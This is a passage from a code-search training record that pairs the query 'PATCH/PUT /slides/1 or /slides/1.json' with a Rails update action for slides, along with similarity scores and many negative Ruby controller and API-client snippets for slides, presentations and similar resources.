"def get_slide_with_http_info(name, slide_index, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_slide ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.get_slide\"\n end\n # verify the required parameter 'slide_index' is set\n if @api_client.config.client_side_validation && slide_index.nil?\n fail ArgumentError, \"Missing the required parameter 'slide_index' when calling SlidesApi.get_slide\"\n end\n # resource path\n local_var_path = '/slides/{name}/slides/{slideIndex}'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'slideIndex', slide_index)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'Slide')\n return data, status_code, headers\n end",
"def index\n logger.info params.inspect\n if params[:toggle_activation]\n slide = Slide.where(:id => params[:toggle_activation]).first\n logger.info slide\n slide.toggle_visibility!\n slide.save\n end\n if params[:up]\n slide = Slide.where(:position => params[:up]).first\n if slide.position > 1\n other_slide = Slide.where(:position => slide.position-1).first\n other_slide.increment :position\n slide.decrement :position\n other_slide.save\n slide.save\n slide.reorder_positions!\n end\n end\n if params[:down]\n slide = Slide.where(:position => params[:down]).last\n logger.info \"found slide #{slide.inspect}\"\n if slide.position < Slide.where(:visible => true).count\n other_slide = Slide.where(:position => slide.position+1).first\n other_slide.decrement :position\n slide.increment :position\n other_slide.save\n slide.save\n slide.reorder_positions!\n end\n end\n\n @slides = Slide.find( :all, :order => \"visible DESC, position ASC\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @slides }\n end\n end",
"def update\n upload_slides(params)\n build_kiosks(params)\n respond_to do |format|\n if @collection.update(collection_params)\n format.html { redirect_to @collection, notice: 'Collection was successfully updated.' }\n format.json { render :show, status: :ok, location: @collection }\n else\n format.html { render :edit }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @slides = Slide.paginate(:page => 1, :per_page => 10)\n @page = 'slides'\n end",
"def slideshow_params\n params.require(:slideshow).permit(:index, :show, :new, :create, :edit, :update, :destroy)\n end",
"def set_slide\n @slide = @presentation.slides.friendly.find(params[:id]) \n end"
] |
[
"0.69801176",
"0.68761367",
"0.68356097",
"0.68100804",
"0.66896516",
"0.6689237",
"0.6660945",
"0.66371596",
"0.66371596",
"0.66371596",
"0.660417",
"0.6513069",
"0.6513069",
"0.6495104",
"0.6481375",
"0.6433279",
"0.6421695",
"0.63826436",
"0.63826436",
"0.63826436",
"0.63709193",
"0.6350905",
"0.6341871",
"0.6329671",
"0.6329671",
"0.62609965",
"0.62609965",
"0.62609965",
"0.62284154",
"0.62091315",
"0.62072104",
"0.61739606",
"0.612438",
"0.612438",
"0.6103197",
"0.60821885",
"0.6050497",
"0.6048659",
"0.6044841",
"0.60411197",
"0.6002063",
"0.59981906",
"0.5997394",
"0.59825915",
"0.59746563",
"0.5937321",
"0.5926103",
"0.59163374",
"0.5879317",
"0.58780456",
"0.58744615",
"0.58731335",
"0.5862589",
"0.58595717",
"0.5851921",
"0.58398634",
"0.58066076",
"0.579517",
"0.579287",
"0.57885826",
"0.57836854",
"0.57836854",
"0.57836854",
"0.5772539",
"0.5754712",
"0.57453",
"0.5745254",
"0.57387656",
"0.57387525",
"0.57352966",
"0.568726",
"0.5683185",
"0.56790733",
"0.567202",
"0.5653288",
"0.5645507",
"0.56423956",
"0.5619135",
"0.56117356",
"0.56104386",
"0.5605775",
"0.5597043",
"0.5581563",
"0.5570096",
"0.5569642",
"0.5565646",
"0.55603135",
"0.55514604",
"0.55514604",
"0.55514604",
"0.55514604",
"0.55514604",
"0.5550902",
"0.55377936",
"0.5528426",
"0.5527636",
"0.55192477",
"0.55180305",
"0.5509302",
"0.5504527"
] |
0.68487966
|
2
|
PATCH/PUT /slides/1 or /slides/1.json
|
def update
respond_to do |format|
if @slide.update(slide_params)
format.html { redirect_to @slide, notice: "Slide was successfully updated." }
format.json { render :show, status: :ok, location: @slide }
else
format.html { render :edit, status: :unprocessable_entity }
format.json { render json: @slide.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n if @slide.update_attributes(params[:slide])\n format.html { redirect_to \"/slides\", notice: 'slide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n if @slide.update_attributes(params[:slide])\n format.html { redirect_to :back, notice: 'Slide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n if @slide.update_attributes(params[:slide])\n format.html { redirect_to @slide, notice: 'Slide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, resource\n\n respond_to do |format|\n if resource.update_attributes(params[:slideset])\n format.html { redirect_to slideset_slides_path(resource), notice: 'Slideset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n if @slide.update_attributes(params[:slide])\n format.html { redirect_to slides_url, notice: '幻灯片修改成功.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @slide.update(slide_params)\n format.html { redirect_to presentation_slide_url(@presentation, @slide), notice: 'Slide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pslide = Pslide.find(params[:id])\n\n respond_to do |format|\n if @pslide.update_attributes(params[:pslide])\n format.html { redirect_to @pslide, notice: 'Pslide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pslide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @slide.update(slide_params)\n format.html { redirect_to [:admin, @slide], notice: 'Slide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @slideshow = Slideshow.find(params[:id])\n\n respond_to do |format|\n if @slideshow.update_attributes(params[:slideshow])\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @slide.update(slide_params)\n format.html { redirect_to @slide, notice: 'Slide was successfully updated.' }\n format.json { render :show, status: :ok, location: @slide }\n else\n format.html { render :edit }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page_slide = Slide.find(params[:id])\n\n respond_to do |format|\n if @page_slide.update_attributes(params[:page_slide])\n format.html { redirect_to page_slide_url(@page_slide.page, @page_slide), notice: 'Slide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page_slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n upload_slides(params)\n build_kiosks(params)\n respond_to do |format|\n if @collection.update(collection_params)\n format.html { redirect_to @collection, notice: 'Collection was successfully updated.' }\n format.json { render :show, status: :ok, location: @collection }\n else\n format.html { render :edit }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @slideshow = Slideshow.find(params[:id])\n\n @slideshow.slides += params[:add_slides].map{ |es| Slide.find(es) } if params[:add_slides]\n\n @slideshow.slideshow_slides.where(:slide_id => params[:del_slides]).delete_all\n\n respond_to do |format|\n if @slideshow.update_attributes(params[:slideshow])\n format.js { render :nothing => true }\n format.html { redirect_to (params[:existing_slides] ? edit_slideshow_path(@slideshow) : @slideshow), notice: 'Slideshow was successfully updated.' }\n format.json { head :no_content }\n else\n format.js { render :nothing => true }\n format.html { render action: \"edit\" }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @slide_image = SlideImage.find(params[:id])\n\n respond_to do |format|\n if @slide_image.update_attributes(params[:slide_image])\n format.html { redirect_to @slide_image, notice: 'Slide image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @slide_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @slideshow.update(slideshow_params)\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully updated.' }\n format.json { render :show, status: :ok, location: @slideshow }\n else\n format.html { render :edit }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @slideshow.update(slideshow_params)\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully updated.' }\n format.json { render :show, status: :ok, location: @slideshow }\n else\n format.html { render :edit }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @slideshow = Slideshow.find(params[:id])\n\n respond_to do |format|\n if @slideshow.update_attributes(params[:slideshow])\n format.html { redirect_to(@slideshow, :notice => 'Slideshow was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @slideshow.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @slideshow = Slideshow.find(params[:id])\n\n respond_to do |format|\n if @slideshow.update_attributes(params[:slideshow])\n format.html { redirect_to(@slideshow, :notice => 'Slideshow was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @slideshow.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @title = t('view.slides.edit_title')\n @slide = @lesson.slides.find(params[:id])\n\n respond_to do |format|\n if @slide.update slide_params\n format.html { redirect_to(course_lesson_url(@lesson.course, @lesson, anchor: @slide.anchor), notice: t('view.slides.correctly_updated')) }\n format.json { head :ok }\n else\n format.html { render action: 'edit' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n\n rescue ActiveRecord::StaleObjectError\n redirect_to edit_lesson_slide_url(@lesson, @slide), alert: t('view.slides.stale_object_error')\n end",
"def update\n return false if !userCan :slide\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n if @slide.update_attributes(params[:slide])\n if params[:projector_add] then\n params[:projector_add].each {|v|\n Projector.find(v).update_attributes(:slide_id => params[:id]);\n Message.Command(:id => \"projector-#{v}\", :cmd => \"load\", :slide => params[:id])\n }\n end\n format.html { redirect_to @slide, notice: 'Slide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @presentation.update(presentation_params)\n format.html { redirect_to root_path, notice: 'Presentation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @presentation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @slide = Slide.find(params[:id])\n @slide.name = params[:slide][:name] unless params[:slide][:name].nil?\n @slide.position = params[:slide][:position] unless params[:slide][:position].nil?\n if @slide.update_attributes(params[:slide])\n flash[:notice] = \"Successfully updated slide.\"\n redirect_to @slide.presentation\n else\n render :action => 'edit'\n end\n end",
"def update\n @slideshow = @user.slideshows.find(params[:id])\n @user.slideshows << @slideshow\n\n respond_to do |format|\n if @slideshow.update_attributes(params[:slideshow])\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @slideshow_item = SlideshowItem.find(params[:id])\n\n respond_to do |format|\n if @slideshow_item.update_attributes(params[:slideshow_item])\n format.html { redirect_to @slideshow_item, notice: \"\\\"#{@slideshow_item.title}\\\" was successfully updated.\".html_safe }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @slideshow_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @promo_slide.update(promo_slide_params)\n format.html { redirect_to @promo_slide, notice: 'Promo slide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @promo_slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if UpdateSlide.execute(@slide, slide_params, current_user)\n @slide.take_screenshot\n @slide.create_activity(:update, owner: current_user, parameters: { name: @slide.menu_name })\n format.html { redirect_to @slide, notice: 'Slide was successfully updated.' }\n format.json { render :show, status: :ok, location: @slide }\n else\n format.html { render :edit }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @presentation.update(presentation_params)\n format.html { redirect_to @presentation, notice: 'Presentation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @presentation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @lecture.update(lecture_params)\n format.html { redirect_to lectures_url }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @lecture.errors, status: :unprocessable_entity }\n end\n end\n end",
"def saveSlide\n if params[:mode] == 'I'\n update = SlidesHlp.saveSlide(params[:slide])\n else\n update = SlidesHlp.updateSlide(params[:slide])\n end\n render json: update\n end",
"def update_notes_slide_with_http_info(name, slide_index, dto, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.update_notes_slide ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.update_notes_slide\"\n end\n # verify the required parameter 'slide_index' is set\n if @api_client.config.client_side_validation && slide_index.nil?\n fail ArgumentError, \"Missing the required parameter 'slide_index' when calling SlidesApi.update_notes_slide\"\n end\n # verify the required parameter 'dto' is set\n if @api_client.config.client_side_validation && dto.nil?\n fail ArgumentError, \"Missing the required parameter 'dto' when calling SlidesApi.update_notes_slide\"\n end\n # resource path\n local_var_path = '/slides/{name}/slides/{slideIndex}/notesSlide'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'slideIndex', slide_index)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = @api_client.object_to_http_body(dto)\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'NotesSlide')\n return data, status_code, headers\n end",
"def update\n respond_to do |format|\n if @slider.update(slider_params)\n format.html { redirect_to action: :index, notice: 'Обновлено.' }\n format.json { render :index, status: :ok, location: @slider }\n else\n format.html { render :crop }\n format.json { render json: @slider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @data = SlidesHlp.getSlide(params[:id])\n if @data['slide_vi'] == nil\n @mode = 'I'\n else\n @slide = @data['slide_vi']\n @slide_ja = @data['slide_ja']\n @lang = @data['lang']\n @mode = 'U'\n end\n render 'admin/slides/slide'\n end",
"def updateShowSlide\n result = Hash.new\n result['status'] = true\n begin # try\n result['status'] = Slide.where(id: params[:id])\n .update_all('slides.show = NOT slides.show, updated_by = ' + $user_id.to_s + ', updated_at = \\'' + Time.now.to_formatted_s(:db) + '\\'')\n rescue # catch\n result['status'] = false\n result['error'] = \"#{$!}\"\n ensure # finally\n render json: result\n end\n end",
"def edit_slideshow username, password, slideshow_id, options = {}\n do_request 'edit_slideshow', options.merge(username: username, password: password,\n slideshow_id: slideshow_id)\n end",
"def update\n respond_to do |format|\n if @content.update(content_params)\n format.html { redirect_to presentation_slide_content_path(@presentation, @slide, @content), notice: 'Content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # authorize\n authorize! :update, @slideshow\n \n respond_to do |format|\n if @slideshow.update(slideshow_params)\n format.html { redirect_to edit_admin_slideshow_path(@slideshow.id), notice: 'Chỉnh sửa trình chiếu thành công.' }\n format.json { render :show, status: :ok, location: @slideshow }\n else\n format.html { render :edit }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @web_slide = WebSlide.find(params[:id])\n\n respond_to do |format|\n if @web_slide.update_attributes(params[:web_slide])\n format.html { redirect_to(@web_slide, :notice => 'Web slide was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @web_slide.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @food_slider = FoodSlider.find(params[:id])\n\n respond_to do |format|\n if @food_slider.update_attributes(params[:food_slider])\n format.html { redirect_to food_sliders_url, notice: 'Food slider was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food_slider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @presentation = Presentation.find(params[:id])\n\n respond_to do |format|\n if @presentation.update_attributes(params[:presentation])\n format.html { redirect_to @presentation, notice: 'Presentation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @presentation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @presentation.update(presentation_params)\n format.html { redirect_to @presentation, notice: 'Presentation was successfully updated.' }\n format.json { render :index, status: :ok, location: @presentation }\n else\n format.html { render :edit }\n format.json { render json: @presentation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_exercise.update(api_v1_exercise_params)\n format.html { redirect_to @api_v1_exercise, notice: 'Exercise was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_exercise }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_exercise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @image_slider.update(image_slider_params)\n format.html { redirect_to @image_slider, notice: 'Image slider was successfully updated.' }\n format.json { render :show, status: :ok, location: @image_slider }\n else\n format.html { render :edit }\n format.json { render json: @image_slider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @slider_image = SliderImage.find(params[:id])\n\n respond_to do |format|\n if @slider_image.update_attributes(params[:slider_image])\n format.html { redirect_to slider_images_path, notice: 'Slider image was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @slider_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @slider_image.update(edit_slider_params)\n format.html { redirect_to admin_slider_images_url , notice: 'Slider image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @slider_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @slideshow = Slideshow.find(params[:id])\n @slides = @slideshow.slides\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def show\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end",
"def show\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end",
"def show\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end",
"def update\n @slide_type = SlideType.find(params[:id])\n\n respond_to do |format|\n if @slide_type.update_attributes(params[:slide_type])\n format.html { redirect_to(slide_types_path, :notice => 'Slide type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @slide_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @slider_serv.update(slider_serv_params)\n format.html { redirect_to @slider_serv, notice: 'Slider serv was successfully updated.' }\n format.json { render :show, status: :ok, location: @slider_serv }\n else\n format.html { render :edit }\n format.json { render json: @slider_serv.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def update\n respond_to do |format|\n if @main_slider.update(main_slider_params)\n format.html { redirect_to @main_slider, notice: 'Main slider was successfully updated.' }\n format.json { render :show, status: :ok, location: @main_slider }\n else\n format.html { render :edit }\n format.json { render json: @main_slider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @slider_image = SliderImage.find(params[:id])\n\n respond_to do |format|\n if @slider_image.update_attributes(params[:slider_image])\n format.html { \n redirect_to slider_images_path\n gflash success: 'Slider image was successfully updated!' \n }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @slider_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @document.update_attributes(name: document_params[:name], lab_id: document_params[:lab_id])\n format.html { redirect_to documents_url, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: documents_url }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if request.content_type == \"application/json\"\n # .update is like a \"update people set ...\" in sql\n if @person.update(person_params)\n render json: @person\n else\n render json: @person.errors, status: :not_found\n end\n else\n render status: :bad_request\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @rails_haml.update(rails_haml_params)\n format.html { redirect_to @rails_haml, notice: 'Rails haml was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rails_haml.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @slidedeck.update(slidedeck_params)\n format.html { redirect_to @slidedeck, notice: 'Slidedeck was successfully updated.' }\n format.json { render :show, status: :ok, location: @slidedeck }\n else\n format.html { render :edit }\n format.json { render json: @slidedeck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @resume = Resume.find(params[:id])\n\n if @resume.update(resume_params)\n head :no_content\n else\n render json: @resume.errors, status: :unprocessable_entity\n end\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def update\n @responsavel = Responsavel.find(params[:id])\n\n if @responsavel.update(responsavel_params)\n head :no_content\n else\n render json: @responsavel.errors, status: :unprocessable_entity\n end\n end",
"def update\n @pic = Pic.find(params[:id])\n\n respond_to do |format|\n if @pic.update_attributes(params[:pic])\n format.html { redirect_to @pic, notice: 'Pic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @slider_principal.update(slider_principal_params)\n format.html { redirect_to @slider_principal, notice: 'Slider principal was successfully updated.' }\n format.json { render :show, status: :ok, location: @slider_principal }\n else\n format.html { render :edit }\n format.json { render json: @slider_principal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pic.update(pic_params)\n format.html { redirect_to @pic, notice: 'Pic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n @pictures = Picture.all.order(created_at: :desc)\n @picture.update(picture_params)\n render json: @pictures\n # head :no_content\n end",
"def update\n respond_to do |format|\n if @slide_deck.update(slide_deck_params)\n format.html { redirect_to @slide_deck, notice: 'Slide deck was successfully updated.' }\n format.json { render :show, status: :ok, location: @slide_deck }\n else\n format.html { render :edit }\n format.json { render json: @slide_deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @presentation.update(presentation_params)\n format.html { redirect_to event_path(@presentation.event), notice: 'Presentation was successfully updated.' }\n format.json { render :show, status: :ok, location: @presentation }\n else\n format.html { render :edit }\n format.json { render json: @presentation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @slideshow = Slideshow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def show\n @slideshow = Slideshow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def update\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n if @exercise.update_attributes(params[:exercise])\n format.html { redirect_to @exercise, :notice => 'exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @exercise.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n if @exercise.update_attributes(params[:exercise])\n format.html { redirect_to @exercise, notice: 'Exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n if @exercise.update_attributes(params[:exercise])\n format.html { redirect_to @exercise, notice: 'Exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n if @exercise.update_attributes(params[:exercise])\n format.html { redirect_to @exercise, notice: 'Exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @resume_collection.update(resume_collection_params)\n format.html { redirect_to @resume_collection, notice: 'Resume collection was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @resume_collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n document = Document.find(params[:id])\n if document.update(params_document)\n render json: document, status: 200\n else\n render json: document.errors, status: 422\n end\n\n end",
"def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update\n @presentation = Presentation.find(params[:id])\n\n respond_to do |format|\n if @presentation.update_attributes(params[:presentation])\n flash[:notice] = 'Presentation was successfully updated.'\n format.html { redirect_to(@presentation) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @presentation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @slider_depo.update(slider_depo_params)\n format.html { redirect_to @slider_depo, notice: 'Slider depo was successfully updated.' }\n format.json { render :show, status: :ok, location: @slider_depo }\n else\n format.html { render :edit }\n format.json { render json: @slider_depo.errors, status: :unprocessable_entity }\n end\n end\n end",
